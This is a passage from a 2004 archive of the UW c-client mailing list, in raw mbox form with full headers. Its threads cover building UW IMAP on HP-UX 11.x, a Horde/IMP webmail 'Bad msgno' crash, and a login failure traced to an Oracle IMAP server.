from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Feb 10 17:02:09 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 10 Feb 2004 17:02:08 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1B128vI013201 for ; Tue, 10 Feb 2004 17:02:08 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1B126VN020934 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 10 Feb 2004 17:02:06 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i1B10XVb013524; Tue, 10 Feb 2004 17:00:34 -0800 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1B0wiuL044660 for ; Tue, 10 Feb 2004 16:58:44 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu8.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1B0whqm015112 for ; Tue, 10 Feb 2004 16:58:43 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1B0weFt011598; Tue, 10 Feb 2004 16:58:41 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.11+UW04.02) with ESMTP id i1B0weQa023436 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 10 Feb 2004 16:58:40 -0800 Message-Id: Date: Tue, 10 Feb 2004 16:58:39 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Wingston Barahona Cc: c-client@u.washington.edu, "Isaias Correa " Subject: Re: Is UW IMAP compatible with HP-UX 11.0 or 11.11 In-Reply-To: <000801c3f038$edba24e0$141513ac@csdmty153> References: <000801c3f038$edba24e0$141513ac@csdmty153> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 10 Feb 2004, Wingston Barahona wrote: > We'd like to install the IMAP mail server, but in the file Makefile has > only until HP-UX 10.x. In general, such indications as "for HP-UX 10.x" really mean "for HP-UX 10.x and later versions". > We have HP-UX 11.0 and 11.11 in our UNIX Server, and we'd like to know > if there are a new version of UW IMAP mail server compatible with this > platform, or if we can install the current version without any risks. I no longer have access to any HP-UX systems, so I can not say with certainty. However, the last time I tried to build on an HP-UX system it worked, and I believe that system was HP-UX 11.0. I recommend that you try building it. If it builds successfully, then it should work. If it does not build, or if you have problems running it, please send me email and I will try to resolve the problem for you. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Feb 10 17:53:45 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 10 Feb 2004 17:53:45 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1B1rjvI014839 for ; Tue, 10 Feb 2004 17:53:45 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1B1rhVN022866 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 10 Feb 2004 17:53:44 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i1B1qnFh015006; Tue, 10 Feb 2004 17:52:51 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1B1pouL010602 for ; Tue, 10 Feb 2004 17:51:50 -0800 Received: from server07.icaen.uiowa.edu (server07.icaen.uiowa.edu [128.255.17.47]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1B1pn85001370 for ; Tue, 10 Feb 2004 17:51:49 -0800 Received: from server11.icaen.uiowa.edu (server11.icaen.uiowa.edu [128.255.17.51]) by server07.icaen.uiowa.edu (8.9.3/8.9.3) with ESMTP id TAA14003 sent by ; Tue, 10 Feb 2004 19:51:42 -0600 (CST) Received: from d-is00.icaen.uiowa.edu ([128.255.17.30]) by server11.icaen.uiowa.edu (8.12.6/smtp-service-1.6) with ESMTP id i1B1pfqX023508; sent by ; Tue, 10 Feb 2004 19:51:41 -0600 (CST) Received: (from dbfunk@localhost) by d-is00.icaen.uiowa.edu (8.9.3/client-6.6) id TAA06372; Tue, 10 Feb 2004 19:51:40 -0600 (CST) Message-Id: Date: Tue, 10 Feb 2004 19:51:40 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David B Funk To: Mark Crispin Cc: Wingston Barahona , c-client@u.washington.edu, "Isaias Correa " Subject: Re: Is UW IMAP compatible with HP-UX 11.0 or 11.11 In-Reply-To: References: <000801c3f038$edba24e0$141513ac@csdmty153> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 10 Feb 2004, Mark Crispin wrote: > On Tue, 10 Feb 2004, Wingston Barahona wrote: > > We'd like to install the IMAP mail server, but in the file Makefile has > > only until HP-UX 10.x. > > In general, such indications as "for HP-UX 10.x" really mean "for HP-UX > 10.x and later versions". > > I no longer have access to any HP-UX systems, so I can not say with > certainty. However, the last time I tried to build on an HP-UX system it > worked, and I believe that system was HP-UX 11.0. [snip..] Works fine under HP-UX 11.0 & 11.11. Currently running it under HP-UX 11.22 on an Itanium ZX6000, had to tweek a few of the makefile parameters for IA64 platforms. Dave -- Dave Funk University of Iowa College of Engineering 319/335-5751 FAX: 319/384-0549 1256 Seamans Center Sys_admin/Postmaster/cell_admin Iowa City, IA 52242-1527 #include Better is not better, 'standard' is better. B{ From pinedev@shivax2.cac.washington.edu Thu Feb 12 06:35:16 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 12 Feb 2004 06:35:16 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1CEZ8vI026719 for ; Thu, 12 Feb 2004 06:35:08 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1CEZ6VN001408 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 12 Feb 2004 06:35:07 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i1CEXtFh016980; Thu, 12 Feb 2004 06:33:56 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1CEWEuL068162 for ; Thu, 12 Feb 2004 06:32:14 -0800 Received: from servlabo.ivry.cnrs.fr (servlabo.ivry.cnrs.fr [194.167.98.1]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1CEW2FK031730 for ; Thu, 12 Feb 2004 06:32:12 -0800 Received: from PCYL.ivry.cnrs.fr (localhost [127.0.0.1]) by servlabo.ivry.cnrs.fr (8.11.7p1+Sun/jtpda-5.3.2) with ESMTP id i1CEVxF17485 for ; Thu, 12 Feb 2004 15:32:00 +0100 (MET) Message-Id: <5.0.2.1.2.20040212153106.00b26dd8@servlabo.ivry.cnrs.fr> Date: Thu, 12 Feb 2004 15:31:13 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Yveline LEBRUN To: c-client@u.washington.edu Subject: Install IMAP for webmail Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="=====================_21307406==_.ALT" X-Sender: yveline@servlabo.ivry.cnrs.fr X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='HTML_FONT_FACE_ODD 0.201, HTML_TAG_UNKNOWN 0.000' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --=====================_21307406==_.ALT Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: quoted-printable Hello, I installed IMAP2003.DEV.SNAP-0312072251 on the mail server on Solaris7=20 who works usually with POP. On the web server on Solaris8, I installed the same version (client). In=20 this server was installed Apache_1.3.29, PHP-4.3.1, Mysql-4.0.17 and for=20 the webmail I installed Horde-2.2.1 and IMP-3.2.1. All it's OK except IMAP client on the webmail in theses functions : - backup of the messages on the client (PC or station), - download of the attachments on the client (PC or station), - display of the attachments when they are .doc or .xls... When they are=20 .html .jpg .jpeg, they appear in the body of the message. It seems that it is a problem of header in IMAP. After many many tests, I think that it's a problem with IMAP because I test= =20 webmail configuring /horde/imp/config/servers.php with POP and all is OK in= =20 fact the download and display of attachments and the backup of the messages= =20 on the client. Some examples of messages when I try open or download attachments : Dans le fichier /var/adm/messages : Feb 10 11:25:17 procyon httpd[1424]: [ID 746981 user.alert] IMAP toolkit= crash: Bad msgno 5 in mail_elt, nmsgs =3D 4 Feb 10 11:25:42 procyon httpd[1412]: [ID 746981 user.alert] IMAP toolkit= crash: Bad msgno 5 in mail_elt, nmsgs =3D 4 Feb 10 11:25:45 procyon httpd[1409]: [ID 746981 user.alert] IMAP toolkit= crash: Dans le fichier /space/apache/logs/error_log : [Tue Feb 10 11:19:13 2004] [notice] child pid 1354 exit signal Abort (6) [Tue Feb 10 11:19:15 2004] [notice] child pid 1374 exit signal Abort (6) couldn't set locale correctly couldn't set locale correctly Some examples of warning when I try "save as" a message : Warning: imap_header(): Bad message number in /space/home0/www/htdocs/horde-2.2.1/imp-3.2.1/view.php on line 94 Warning: Cannot modify header information - headers already sent by (output started at /space/home0/www/htdocs/horde-2.2.1/imp-3.2.1/view.php:94) in /space/home0/www/htdocs/horde-2.2.1/imp-3.2.1/lib/Browser.php on line 70 Warning: Cannot modify header information - headers already sent by (output started at /space/home0/www/htdocs/horde-2.2.1/imp-3.2.1/view.php:94) in /space/home0/www/htdocs/horde-2.2.1/imp-3.2.1/lib/Browser.php on line 76 Warning: Cannot modify header information - headers already sent by (output started at /space/home0/www/htdocs/horde-2.2.1/imp-3.2.1/view.php:94) in /space/home0/www/htdocs/horde-2.2.1/imp-3.2.1/lib/Browser.php on line 87 >From <> Thu Jan 01 01:00:00 1970 X-UIDL: 4>'!!QF?!d&i"!PIM!! Received:= from mx1.tuxfamily.net (localhost [127.0.0.1]) by servlabo.ivry.cnrs.fr (8.11.7p1+Sun/jtpda-5.3.2) with ESMTP id i1AAmXK08786 for ; Tue, 10 Feb 2004 11:48:33 +0100 (MET) Received: from www-data by= mx1.tuxfamily.net with local (Exim 3.35 #1) id 1AqVRR-00049K-00 for lebrun@ivry.cnrs.fr; Tue,= 10 Feb 2004 11:48:33 +0100 Received: from host.40.163.23.62.rev.coltfrance.com (host.40.163.23.62.rev.coltfrance.com [62.23.163.40]) by webmail.tuxfamily.org (IMP) with HTTP for ; Tue, 10 Feb= 2004 11:48:33 +0100 Message-ID: <1076410113.4028b70121ee8@webmail.tuxfamily.org> Date: Tue, 10 Feb 2004=20 11:48:33 +0100 From: =3D?iso-8859-1?b?U+liYXN0aWVu?=3D CORBEAU To: Yveline LEBRUN= Subject: Re: Installation webmail et excuses References:= <5.0.2.1.2.20040206163727.00b93f00@servlabo.ivry.cnrs.fr> In-Reply-To: <5.0.2.1.2.20040206163727.00b93f00@servlabo.ivry.cnrs.fr> MIME-Version: 1.0 Content-Type: text/plain; charset=3DISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.2 X-Originating-IP: 62.23.163.40 Sender: www-data Content-Length: 1498 Selon Yveline LEBRUN : > Can you help me to resolve this problem ? Many thanks. Yveline LEBRUN T=E9l : 01 49 60 41 75 --=====================_21307406==_.ALT Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello,

    I  installed IMAP2003.DEV.SNAP-0312072251 on the mail server on Solaris7 who works usually with POP.

    On the web server on Solaris8, I installed the same version (client). In this server was installed Apache_1.3.29, PHP-4.3.1, Mysql-4.0.17 and for the webmail I installed Horde-2.2.1 and IMP-3.2.1.

    All it's OK except IMAP client on the webmail in theses functions :
    - backup of the messages on the client (PC or station),
    - download of the attachments on the client (PC or station),
    - display of the attachments when they are .doc or .xls... When they are .html .jpg .jpeg, they appear in the body of the message.

    It seems that it is a problem of header in IMAP.

    After many many tests, I think that it's a problem with IMAP because I test webmail configuring /horde/imp/config/servers.php with POP and all is OK in fact the download and display of attachments and the backup of the messages on the client.


    Some examples of messages when I try open or download attachments :

    Dans le fichier /var/adm/messages :
    Feb 10 11:25:17 procyon httpd[1424]: [ID 746981 user.alert] IMAP toolkit crash:
    Bad msgno 5 in mail_elt, nmsgs =3D 4
    Feb 10 11:25:42 procyon httpd[1412]: [ID 746981 user.alert] IMAP toolkit crash:
    Bad msgno 5 in mail_elt, nmsgs =3D 4
    Feb 10 11:25:45 procyon httpd[1409]: [ID 746981 user.alert] IMAP toolkit crash:

    Dans le fichier /space/apache/logs/error_log :
    [Tue Feb 10 11:19:13 2004] [notice] child pid 1354 exit signal Abort (6)
    [Tue Feb 10 11:19:15 2004] [notice] child pid 1374 exit signal Abort (6)
    couldn't set locale correctly
    couldn't set locale correctly

    Some examples of warning when I try "save as" a message :

    Warning: imap_header(): Bad message number in
    /space/home0/www/htdocs/horde-2.2.1/imp-3.2.1/view.php on line 94

    Warning: Cannot modify header information - headers already sent by (output
    started at /space/home0/www/htdocs/horde-2.2.1/imp-3.2.1/view.php:94) in
    /space/home0/www/htdocs/horde-2.2.1/imp-3.2.1/lib/Browser.php on line 70

    Warning: Cannot modify header information - headers already sent by (output
    started at /space/home0/www/htdocs/horde-2.2.1/imp-3.2.1/view.php:94) in
    /space/home0/www/htdocs/horde-2.2.1/imp-3.2.1/lib/Browser.php on line 76

    Warning: Cannot modify header information - headers already sent by (output
    started at /space/home0/www/htdocs/horde-2.2.1/imp-3.2.1/view.php:94) in
    /space/home0/www/htdocs/horde-2.2.1/imp-3.2.1/lib/Browser.php on line 87
    >From <> Thu Jan 01 01:00:00 1970 X-UIDL: 4>'!!QF?!d&i"!PIM!! Received: from
    mx1.tuxfamily.net (localhost [127.0.0.1]) by servlabo.ivry.cnrs.fr
    (8.11.7p1+Sun/jtpda-5.3.2) with ESMTP id i1AAmXK08786 for ; Tue,
    10 Feb 2004 11:48:33 +0100 (MET) Received: from www-data by mx1.tuxfamily.net
    with local (Exim 3.35 #1) id 1AqVRR-00049K-00 for lebrun@ivry.cnrs.fr; Tue, 10
    Feb 2004 11:48:33 +0100 Received: from
    host.40.163.23.62.rev.coltfrance.com (host.40.163.23.62.rev.coltfrance.com
    [62.23.163.40]) by webmail.tuxfamily.org (IMP) with HTTP for ; Tue, 10 Feb 2004
    11:48:33 +0100 Message-ID:
    <1076410113.4028b70121ee8@webmail.tuxfamily.org> Date: Tue, 10 Feb 2004 11:48:33
    +0100 From: =3D?iso-8859-1?b?U+liYXN0aWVu?=3D CORBEAU To: Yveline LEBRUN Subject:
    Re: Installation webmail et
    excuses References: <5.0.2.1.2.20040206163727.00b93f00@servlabo.ivry.cnrs.fr>
    In-Reply-To: <5.0.2.1.2.20040206163727.00b93f00@servlabo.ivry.cnrs.fr>
    MIME-Version: 1.0 Content-Type: text/plain;
    charset=3DISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet
    Messaging Program (IMP) 3.2 X-Originating-IP: 62.23.163.40 Sender: www-data
    Content-Length: 1498 Selon Yveline LEBRUN : >


    Can you help me to resolve this problem ?

    Many thanks.

    Yveline LEBRUN
    T=E9l : 01 49 60 41 75 --=====================_21307406==_.ALT-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Feb 12 08:25:25 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 12 Feb 2004 08:25:25 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1CGPPvI030561 for ; Thu, 12 Feb 2004 08:25:25 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1CGPNcJ007722 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 12 Feb 2004 08:25:24 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i1CGOTVb013674; Thu, 12 Feb 2004 08:24:30 -0800 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1CGNXuL010280 for ; Thu, 12 Feb 2004 08:23:33 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu8.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1CGNWqm028546 for ; Thu, 12 Feb 2004 08:23:32 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1CGNOLR013272; Thu, 12 Feb 2004 08:23:24 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1CGNLhl031271; Thu, 12 Feb 2004 08:23:24 -0800 Message-Id: Date: Thu, 12 Feb 2004 08:23:21 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Yveline LEBRUN Cc: c-client@u.washington.edu Subject: Re: Install IMAP for webmail In-Reply-To: <5.0.2.1.2.20040212153106.00b26dd8@servlabo.ivry.cnrs.fr> References: <5.0.2.1.2.20040212153106.00b26dd8@servlabo.ivry.cnrs.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The messages which you are getting are consistant with trying to access a mesage which does not exist (e.g., message 5 in a mailbox with only 4 messages). If you have a core dump from any of those "IMAP toolkit crash" messages, a stack trace of that dump with gdb/dbx should show what routine called mail_elt() and ultimately point at what attempted to access the non-existant message. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Feb 12 15:52:13 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 12 Feb 2004 15:52:13 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1CNqDvI020664 for ; Thu, 12 Feb 2004 15:52:13 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1CNqBcJ025638 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 12 Feb 2004 15:52:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i1CNpKVb016036; Thu, 12 Feb 2004 15:51:20 -0800 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1CNoAuL069374 for ; Thu, 12 Feb 2004 15:50:10 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1CNo9JI001138 for ; Thu, 12 Feb 2004 15:50:09 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i1CNo8a6020580; Thu, 12 Feb 2004 15:50:08 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.11+UW04.02) with ESMTP id i1CNo8sa014957 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 12 Feb 2004 15:50:08 -0800 Message-Id: Date: Thu, 12 Feb 2004 15:50:08 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Wingston Barahona Cc: David B Funk , c-client@u.washington.edu Subject: Re: Is UW IMAP compatible with HP-UX 11.0 or 11.11 In-Reply-To: <000401c3f1c2$8d7c7840$171513ac@csdmty153> References: <000801c3f038$edba24e0$141513ac@csdmty153> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 12 Feb 2004, Wingston Barahona wrote: > * OK Oracle IMAP4r1 (5.2.0.0.28) server ready > --> 1 login user1 password > --> 1 NO LOGIN failed That is not UW imapd. That is some other IMAP server implementation. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Feb 12 16:57:45 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 12 Feb 2004 16:57:45 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1D0vjvI023697 for ; Thu, 12 Feb 2004 16:57:45 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1D0vhGV014153 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 12 Feb 2004 16:57:43 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i1D0un52012130; Thu, 12 Feb 2004 16:56:49 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1D0tsuL010772 for ; Thu, 12 Feb 2004 16:55:54 -0800 Received: from smtp101.mail.sc5.yahoo.com (smtp101.mail.sc5.yahoo.com [216.136.174.139]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i1D0tr8K007729 for ; Thu, 12 Feb 2004 16:55:53 -0800 Received: from unknown (HELO csdmty153) (wjbf3000@200.34.221.22 with login) by smtp101.mail.sc5.yahoo.com with SMTP; 13 Feb 2004 00:55:52 -0000 Message-Id: <002f01c3f1cc$1ea86280$171513ac@csdmty153> Date: Thu, 12 Feb 2004 18:55:47 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Wingston Barahona" To: "David B Funk" , "Mark Crispin" Cc: , "Isaias Correa " Subject: Re: Is UW IMAP compatible with HP-UX 11.0 or 11.11 References: <000801c3f038$edba24e0$141513ac@csdmty153> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, FROM_ENDS_IN_NUMS 0.001, QUOTED_EMAIL_TEXT 0, REFERENCES 0.000' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Yes, It's correct but in this moment I want to login to IMAP Server but it's imposible for me. I'm Testing my IMAP4 connection ============================= - do a telnet localhost 143 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. * OK Oracle IMAP4r1 (5.2.0.0.28) server ready --> 1 login user1 password --> 1 NO LOGIN failed This user is a valid user of UNIX System Can you help me with this problem? Wingston Barahona. ----- Original Message ----- From: "David B Funk" To: "Mark Crispin" Cc: "Wingston Barahona" ; ; "Isaias Correa " Sent: Tuesday, February 10, 2004 7:51 PM Subject: Re: Is UW IMAP compatible with HP-UX 11.0 or 11.11 > On Tue, 10 Feb 2004, Mark Crispin wrote: > > > On Tue, 10 Feb 2004, Wingston Barahona wrote: > > > We'd like to install the IMAP mail server, but in the file Makefile has > > > only until HP-UX 10.x. > > > > In general, such indications as "for HP-UX 10.x" really mean "for HP-UX > > 10.x and later versions". > > > > I no longer have access to any HP-UX systems, so I can not say with > > certainty. However, the last time I tried to build on an HP-UX system it > > worked, and I believe that system was HP-UX 11.0. > [snip..] > > Works fine under HP-UX 11.0 & 11.11. > Currently running it under HP-UX 11.22 on an Itanium ZX6000, > had to tweek a few of the makefile parameters for IA64 platforms. > > Dave > > -- > Dave Funk University of Iowa > College of Engineering > 319/335-5751 FAX: 319/384-0549 1256 Seamans Center > Sys_admin/Postmaster/cell_admin Iowa City, IA 52242-1527 > #include > Better is not better, 'standard' is better. B{ > From pinedev@shivax2.cac.washington.edu Thu Feb 12 16:58:13 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 12 Feb 2004 16:58:13 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1D0wDvI023730 for ; Thu, 12 Feb 2004 16:58:13 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1D0wBGV014171 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 12 Feb 2004 16:58:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id i1D0vPVb014776; Thu, 12 Feb 2004 16:57:26 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id i1D0uHuL055224 for ; Thu, 12 Feb 2004 16:56:17 -0800 Received: from smtp011.mail.yahoo.com 